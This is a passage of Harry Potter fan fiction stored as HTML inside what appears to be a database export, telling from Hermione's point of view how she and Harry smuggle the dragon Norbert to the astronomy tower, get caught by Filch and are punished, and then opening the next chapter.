class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re dead,&#8221;\nHermione muttered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re being\nnegative,&#8221; Harry told her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course I&#8217;m\nbeing negative!&#8221; Hermione almost shouted in exasperation.&nbsp; &#8220;We&#8217;re going to get caught.&nbsp; We&#8217;re going to get expelled.&nbsp; I&#8217;m never going to be able to come back to\nHogwarts.&nbsp; I might as well be dead.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now you&#8217;re\noverreacting,&#8221; Harry informed her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m <i style="mso-bidi-font-style:normal">not </i>overeating.&nbsp; I&#8217;m right about this and you know it.&nbsp; Even with the invisibility cloak we don&#8217;t\nstand a chance if Malfoy has the whole castle looking for us while we&#8217;re trying\nto sneak a dragon around at midnight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll get\nthrough this.&nbsp; We&#8217;ve been in worse fixes\nand haven&#8217;t gotten caught.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No we haven&#8217;t!&#8221;\nHermione disagreed. &#8220;This is by far the worst thing we&#8217;ve tried to pull all\nyear.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And we&#8217;ll get\nthrough it like all the others,&#8221; he assured her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t you think\nyou&#8217;re pushing your luck?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged. &#8220;Probably.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry can I ask\nyou something seriously?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why won&#8217;t you\neven consider going to Dumbledore about this. &nbsp;I mean, you were really adamant about it.&nbsp; I&#8217;ve never seen you that way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sighed. &#8220;We\nboth know Hagrid&#8217;s breaking the law by harboring an illegal dragon.&nbsp; Even if Dumbledore goes easy on him there&#8217;s\nno telling what the Ministry of Magic will do if they find out.&nbsp; I don&#8217;t want Hagrid to get in that kind of\ntrouble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know Hagrid&#8217;s\nyour friend, but he can take care of himself.&nbsp;\nYou shouldn&#8217;t feel obligated to protect him.&nbsp; Not like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his\nhead. &#8220;Hagrid&#8217;s more than just a friend.&nbsp;\nHe was the first person in the wizarding world to befriend me.&nbsp; He made me feel accepted when I was afraid I\nwasn&#8217;t going to fit in.&nbsp;&nbsp; I don&#8217;t really\nhave any family Hermione but Hagrid&#8230;&#8221; he trailed off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded.\n&#8220;Okay, I understand.&#8221; She let out another sight. &#8220;Let&#8217;s just get this over\nwith.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If you don&#8217;t\nwant to go through with this whole thing, I&#8217;ll understand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No.&nbsp; You&#8217;re going to need my help now that Ron&#8217;s\nin the hospital for a while and besides&#8230; I know you&#8217;d do it for me if I was\nharboring an illegal dragon.&#8221; She smiled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; yeah,&#8221; Harry\nsaid not knowing for sure if she was joking or not.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Saturday at\nmidnight we have our <i style="mso-bidi-font-style:normal">last</i> late night\nadventure.&#8221; She made sure to emphasize the word last.&nbsp; &#8220;It&#8217;ll be our greatest scheme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes and when\nwe&#8217;re old and grey; we can tell our grandchildren all about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to\nhide her blushing face as she wondered to herself what exactly Harry meant by\n&#8220;our grandchildren.&#8221; Most likely he didn&#8217;t mean that they&#8217;d have mutual\ngrandchildren but it was a nice fleeting thought.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Saturday evening\ndidn&#8217;t seem to come fast enough for Hermione, but the closer it came the more\nnervous she became.&nbsp; She just wanted the\nwhole ordeal to be over with so she could have one crisis behind her for a\nchange.&nbsp; She felt excited and nervous all\nat the same time.&nbsp;&nbsp; That evening, she\nwaited until she was sure her two roommates were fast asleep before sneaking\ndown to the common room to meet Harry.&nbsp;\nIt was slightly past 11 when she arrived.&nbsp; Harry was already waiting for her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t think\neveryone would be in bed so early,&#8221; Harry said as he pulled out the\ninvisibility cloak. &#8220;Guess we&#8217;re just lucky tonight.&nbsp; Have you seen Neville?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville?&nbsp; He&#8217;s not in\nyour dorm?&#8221; Hermione asked as she stepped up beside Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope, I don&#8217;t\nknow where he is.&nbsp; I hope he didn&#8217;t get\nlocked out the tower again.&#8221; He threw the cloak over their heads.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched\nher body disappeared. &#8220;We can&#8217;t worry about Neville now.&nbsp; Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They made their\nway slowly out of the portrait hole and down the corridor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re cutting it\nkind of close aren&#8217;t we?&#8221; Hermione whispered as they started down one flight of\nstairs. &#8220;Do you think we&#8217;ll make it in time?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So far so good,&#8221;\nHarry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They continued\nquickly to the main entrance.&nbsp; As they\ndescended the last flight of stairs they heard a loud <i style="mso-bidi-font-style:\nnormal">thud.</i>&nbsp; The noise came so\nsuddenly that Hermione instinctively grabbed Harry&#8217;s hand. &#8220;What was that,&#8221; she\nsaid.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think it&#8217;s Peeves.&#8221; Harry said as they heard a cackle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was glad\nHarry couldn&#8217;t see her face.&nbsp; She was\nblushing as she let go of his hand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They stood in the\nentrance hall and watched Peeves smack around a muggle tennis ball.&nbsp; Where he had gotten it from was anyone&#8217;s\nguess.&nbsp; There was no way they could get\naround him so they just waited.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where did he\ncome from anyway?&#8221; Harry whispered to Hermione as they stood by the stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shrugged\nbut realized Harry couldn&#8217;t see her. &#8220;I don&#8217;t know.&nbsp; Nothing in &#8216;Hogwarts: A History&#8217; says\nanything about him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s so\nannoying.&nbsp; Why doesn&#8217;t Dumbledore get rid\nof him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I suppose he\nthinks it&#8217;s good for us to have a poltergeist around.&nbsp; We need to learn how to handle any\nsituation.&nbsp; You have to admit, Peeves\ndoes present certain challenges we couldn&#8217;t get anywhere else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;True.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They stood and\nwatched him for ten minutes.&nbsp; She was so\nclose to Harry under the invisibility cloak she could hear him breathe. <i style="mso-bidi-font-style:normal">&#8220;I wonder what he&#8217;s thinking about right\nnow.&nbsp; He&#8217;s probably trying to figure out\nhow we&#8217;re going to get Norbert up to the astronomy tower in less than 30\nminutes.&nbsp; He&#8217;s probably thinking about\nhow we&#8217;re going to avoid Filch and possibly Snape and Malfoy.&nbsp; And I&#8217;m standing here thinking: I wonder what\nHarry Potter is thinking.&nbsp; I&#8217;m wondering\nwhat I&#8217;m going to do if I can&#8217;t come back to Hogwarts next year. I know I&#8217;d\nmiss Harry so much.&nbsp; This year has been\nreally great despite all the insanity. I&#8217;ve made some really good friends, I&#8217;ve\nlearned a lot and I&#8217;ve gotten my priorities straight.&nbsp; I actually thought about making good friends\nbefore studies.&nbsp; That&#8217;s got to count for\nsomething.&nbsp; Still it&#8217;d be nice if I\ndidn&#8217;t ramble as much.&nbsp; I mean I&#8217;m\nrambling right now and I&#8217;m not even talking.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry squeezed\nher arm. &#8220;Come on.&#8221;&nbsp; Peeves\nwas on his way to the dungeons and they could finally make it to the\nmain entrance.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they came\ncloser to Hagrid&#8217;s hut, they shed the invisibility cloak.&nbsp; Hagrid was already outside.&nbsp; He had Norbert in a large crate.&nbsp; It would definitely be cumbersome to carry.&nbsp; Hermione tried to perform a levitation charm,\nbut something about the dragon prevented it from working.&nbsp; Even though it was just a baby, Norbert was\nstill a powerfully magical creature and very few spells would work on the crate\nwhile he was in it.&nbsp; They&#8217;d have to carry\nhim the old fashioned way.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Hagrid said\nhis final goodbyes, Harry started to cover the crate with the invisibility\ncloak. &#8220;You were right Hermione.&nbsp; The\ncloak can cover just about anything of reasonable size,&#8221; He said as he watched\nthe crate, Norbert and all, vanish.&nbsp; He\nstepped underneath it himself at the front of the crate and Hermione went to\nthe rear.&nbsp; When they were sure that they\nwere completely covered, they started off back towards the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nalready struggling under the weight of the crate. &#8220;How are we going to get this\nthing all the way up to the astronomy tower, Harry?&nbsp; I can barely hold him as it is. &nbsp;I wish he&#8217;d quit lashing about.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know a shortcut.&nbsp; It should help,&#8221; Harry called as they neared\nthe main entrance again. &#8220;Just follow my lead.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Unfortunately the\nshortcut didn&#8217;t help much.&nbsp; It eliminated\nabout three flights of stairs but it was still a good twenty minute walk\nthrough the castle.&nbsp; Fortunately they\ndidn&#8217;t run into Peeves, Filch, or any professors on their way.&nbsp; Hermione was beginning to wonder if Malfoy\nhad actually bothered to look inside the book he had taken from Ron.&nbsp; Maybe they had lucked out again and he didn&#8217;t\neven know about their plans.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then just as they\nstarted down the corridor to the tower, they heard a noise up ahead.&nbsp; Hermione followed Harry as he led them\nagainst a wall and they watched two silhouetted people in the distance.&nbsp; It was Malfoy and Professor McGonagall.&nbsp; From what she could hear, McGonagall had\ncaught Malfoy trying to sneak up to the astronomy tower.&nbsp; Malfoy was trying to tell her about Harry,\nHermione, and the dragon but the story sounded so ridiculous that she wouldn&#8217;t\neven listen to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione almost\nsnickered.&nbsp; It really did look like their\nluck would hold out.&nbsp; Now that Malfoy was\ncaught they&#8217;d have no problems getting up to the tower and back again.&nbsp; They were home free.&nbsp; They almost bounded up the last flight of\nstairs to the top of the astronomy tower.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When Harry threw\noff the invisibility cloak, Hermione finally let out the snicker she had been\nholding in. &#8220;Ha! Malfoy&#8217;s got detention, I could sing.&#8221;&nbsp; She skipped around the top of the tower, glad\nto be able to breathe again.&nbsp; Being stuck\nunder the invisibility cloak with a struggling dragon was not her idea of fun.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\nquizzical look. &#8220;Don&#8217;t.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh come on Harry,&#8221; Hermione said leaning\non the ramparts. &#8220;We&#8217;ve won.&nbsp; We made\nit.&nbsp; I&#8217;d have thought you&#8217;d be a bit more\nexcited.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll just be\nglad when this is all over.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So will I but\nright now I feel great,&#8221; she spun around again. &#8220;I feel like all my worries\nhave just disappeared.&nbsp; I mean, we&#8217;re\ngetting rid of Norbert.&nbsp; Snape hasn&#8217;t\ntried anything since the quidditch match against Hufflepuff.&nbsp; Exams will be here soon and I plan to be top\nof our class.&#8221; Hermione walked up to him and started poking him playfully in\nthe shoulder. &#8220;Harry Potter you have a charmed life, you know that?&nbsp; Everything goes right for you.&nbsp; Ever since I&#8217;ve met you, my life has just\nbeen one amazing event after another.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stayed her\nhand. &#8220;I don&#8217;t know what you&#8217;re talking about.&nbsp;\nI just try to live one day to the next.&nbsp;\nIt&#8217;s not my fault that weird and bizarre circumstances seem attracted to\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But you can&#8217;t\ntell me you don&#8217;t enjoy all this,&#8221; Hermione pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love being a\nwizard and I wouldn&#8217;t want to be anywhere other than Hogwarts but trust me, my\nlife isn&#8217;t perfect.&nbsp; You know that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded.\n&#8220;Being famous isn&#8217;t all that it&#8217;s cracked up to be.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not when you&#8217;ve\ngot idiots like Malfoy watching you every move trying to make a fool of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t worry\nabout that stupid git; he&#8217;s just jealous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe if he\ncould see things from my point of view, he&#8217;d realize there&#8217;s nothing to be\njealous of.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nhim playfully. &#8220;Of course he&#8217;s got something to be jealous of, not everyone is\nlucky enough to have me for a friend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\nhalf grin. &#8220;Oh yes, whatever what I do without your constant nagging for me to\nstudy.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey it&#8217;s either\nthat or marry me to get good grades,&#8221; Hermione teased.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed.\n&#8220;Ron would never stand for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sure he&#8217;s\njust mad he didn&#8217;t think of it first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Could be,&#8221; Harry\nsaid vaguely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey what&#8217;s that\nsupposed to mean!&#8221; Hermione almost shrieked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Say look, I\nthink I see them,&#8221; Harry said pointing up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait a minute,\nyou didn&#8217;t answer my question,&#8221; Hermione pressed, but Harry pretended he didn&#8217;t\nknow what she was talking about and soon four broomsticks were descending upon\nthem and they had other things to worry about.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy you Ron Weasley?&#8221; One of men\nasked Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course he&#8217;s\nnot, dragon-warts,&#8221; another answered for Harry, &#8220;He ain&#8217;t\ngot red hair.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Blimey, look at\nthis,&#8221; a third said, pointing at Harry&#8217;s head. &#8220;You&#8217;re&#8230; you&#8217;re&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry Potter,&#8221;\nthe fourth finished for him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Cheery lot,\naren&#8217;t they,&#8221; Harry grinned at Hermione.<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Not\ntoo terribly bright though,&#8221;</i> Hermione thought as Harry shook hands all\naround.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The tallest of\nthem did the introductions. &#8220;I&#8217;m Sean; this is Peter, Stephan, and Lawrence.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who&#8217;s the little\nmissy,&#8221; Peter asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione\nGranger,&#8221; Hermione said shaking their hands as well.&nbsp; Then she noticed the harness that they were\nstrapping to their brooms.&nbsp; She began to\nexamine it, intrigued. &#8220;Oh this is interesting, I was wondering how you were\ngoing to transport the dragon.&nbsp; This is\nactually quite clever.&nbsp; Oh and you have a\nbinding charm on this too.&nbsp; That&#8217;ll definitely\nkeep him from moving.&#8221; She poked their brooms with her wand, &#8220;How did you do\nthis, you made yourselves temporarily unplotable.&nbsp; That&#8217;s amazing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Clever little\nmissy, isn&#8217;t she.&#8221; Peter said as the four friends began to strap Norbert in.\n&#8220;Not too many first years can recognize embedded charms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not too many\nfirst years are Hermione Granger,&#8221; Harry told them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione beamed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had finished\nstrapping the crate in and were now remounting their brooms. &#8220;Hate to run, but\nwe&#8217;ve got a lot of sky to cover before daylight,&#8221; Lawrence told them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t let Filch\ncatch you on your way back to your dorms,&#8221; Stephan warned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Keep an eye on\nthis little missy,&#8221; Peter said to Harry as they began to rise in the air.\n&#8220;She&#8217;s got real spirit.&nbsp; You know what\nthey say: behind ever good wizard, there&#8217;s an even better witch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who says that?&#8221;\nSean scoffed. &#8220;Nobody says that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;People say\nthat!&#8221; Peter insisted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What people?&#8221;\nLawrence asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;People!&#8221; Peter practically shouted.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think you&#8217;ve\nbeen hanging around those stupid American gits too\nmuch,&#8221; Sean said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They continued to\nargue like this as they started off through the night sky.&nbsp; Hermione and Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Everywhere you\ngo, you make new friends,&#8221; Hermione said as they headed towards the trap door.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me?&#8221; Harry poked\nher, &#8220;What about you, &#8216;little missy&#8217;?&nbsp; At\nleast I have an excuse, I&#8217;m famous.&nbsp; You\nstand out without having a scar on your forehead.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They started down\nthe spiral staircase feeling light and free for the first time in weeks.&nbsp;&nbsp; It was really finally over. &#8220;You know what\nHarry?&#8221; Hermione started.&nbsp; &#8220;About what\nPeter said&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He wasn&#8217;t\nlistening. &#8220;Hermione do you get the feeling we forgot something?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They hit the\nbottom of the stairwell and as they did, Hermione realized what he was talking\nabout. &#8220;Harry we forgot the&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But it was too\nlate, before they knew it, Filch was upon them. &#8220;Well, well, well&#8230; we are in\ntrouble,&#8221; he said with a wide sadistic grin.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione couldn&#8217;t\nmove; she could barely breathe.&nbsp; The room\nshe was sitting in seemed hazy to her.&nbsp;\nShe was only vaguely aware of the other people.&nbsp; There was Harry of course.&nbsp; He too looked like the wind had been knocked\nout of him.&nbsp; There was Professor\nMcGonagall; she was ranting and raving about how they were a disgrace to\nGryffindor. &nbsp;And then there was\nNeville.&nbsp; They had found out why he had\ngone missing.&nbsp; He had been roaming the\ncastle all night, trying to find Harry to warn him about Malfoy.&nbsp; Now he too was caught and facing the wrath of\nthe deputy headmistress.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; McGonagall had no\nidea what was going on and there was no way that Harry and Hermione could\nexplain the true nature of the situation to her, so she drew her own\nconclusion.&nbsp; Obviously Harry had tried to\ncon Malfoy into believing he had a dragon so Malfoy would end up out of bed\nlooking for them.&nbsp; She was livid that so\nmany Gryffindor students were breaking rules that night that she docked 150\npoints from the house and gave them all detention.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup, and saw Harry.&nbsp; He looked as if he\nwas begging her to come up with some story that would satisfy McGonagall and\nease their punishment but one look in the angry professor&#8217;s eyes told Hermione\nthat nothing she could come up with would be enough to get them out of this\nmess.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After assigning\ntheir punishment and promising that letters would be going to all of their\nparents, she left with orders for them to return to Gryffindor Tower.&nbsp; Hermione was still sitting numb.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230;&#8221; Harry\nshook her a little. &#8220;We should go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t believe\nthis.&nbsp; It&#8217;s true isn&#8217;t it?&#8221; Neville was\nalmost shouting in the corner. &#8220;You were just trying to trick Malfoy and you\ngot me in trouble too.&nbsp; I don&#8217;t believe\nthis.&nbsp; I trusted you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville, that&#8217;s\nnot true.&nbsp; It&#8217;s just very complicated.&#8221;\nHarry told him.&nbsp; He was shaking Hermione\nharder now, trying to get her to help him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do I look stupid\nto you?&nbsp; Oh that&#8217;s right, I forgot.&nbsp; To you I am stupid aren&#8217;t I?&nbsp; Just stupid little Longbottom who can&#8217;t stand\na caldron the right way up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville, we had\nno idea you were going to go out looking for Malfoy or us.&nbsp; We didn&#8217;t want you to get involved.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I am\ninvolved.&nbsp; Now we&#8217;ve lost 150 points from\nGryffindor and it&#8217;s all your fault!&nbsp; I&#8217;m going to be in so much trouble with my\ngram.&#8221; He stormed out of the room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sighed.\n&#8220;He&#8217;ll come around.&#8221; He knelt down in front of Hermione&#8217;s chair. &#8220;Hermione&#8230; are\nyou in there,&#8221; she still looked catatonic. &#8220;Hermione, snap out of it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you know what\nthis means,&#8221; she whispered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll be okay,&#8221;\nHarry assured her. &#8220;We just&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It will <i style="mso-bidi-font-style:normal">not </i>be okay!&#8221; She shouted. &#8220;I&#8217;m\ndead.&nbsp; When my parents find out&#8230;&#8221; She\ndissolved into tears. &#8220;They&#8217;ll never let me come back.&nbsp; I&#8217;m finished here.&#8221;&nbsp; She bolted out of her chair and ran out the\nroom.&nbsp; She didn&#8217;t want him to see her\nthis way.&nbsp; She didn&#8217;t stop running until\nshe had bounded up the four flights of stairs to Gryffindor Tower.&nbsp; She gave the password, ran up to her\ndormitory, and threw herself in bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 15, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; Hermione is an outcast again.&nbsp; From fame to folly; how will she deal?&nbsp; This chapter also does detention from\nHermione&#8217;s point of view (big surprise since this whole fic\nis from Hermione&#8217;s point of view).&nbsp; See\nwhat happens when Harry&#8217;s off with Malfoy among other things.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt\nlike she was in a nightmare that she couldn&#8217;t wake up from.&nbsp; Only a few weeks ago she was happier than\nshe&#8217;d ever been in her entire life.&nbsp; She\nwas at the one of the greatest schools of Witchcraft and Wizardry in\nEurope.&nbsp; She had friends, one of them\nbeing the famous Harry Potter.&nbsp; She 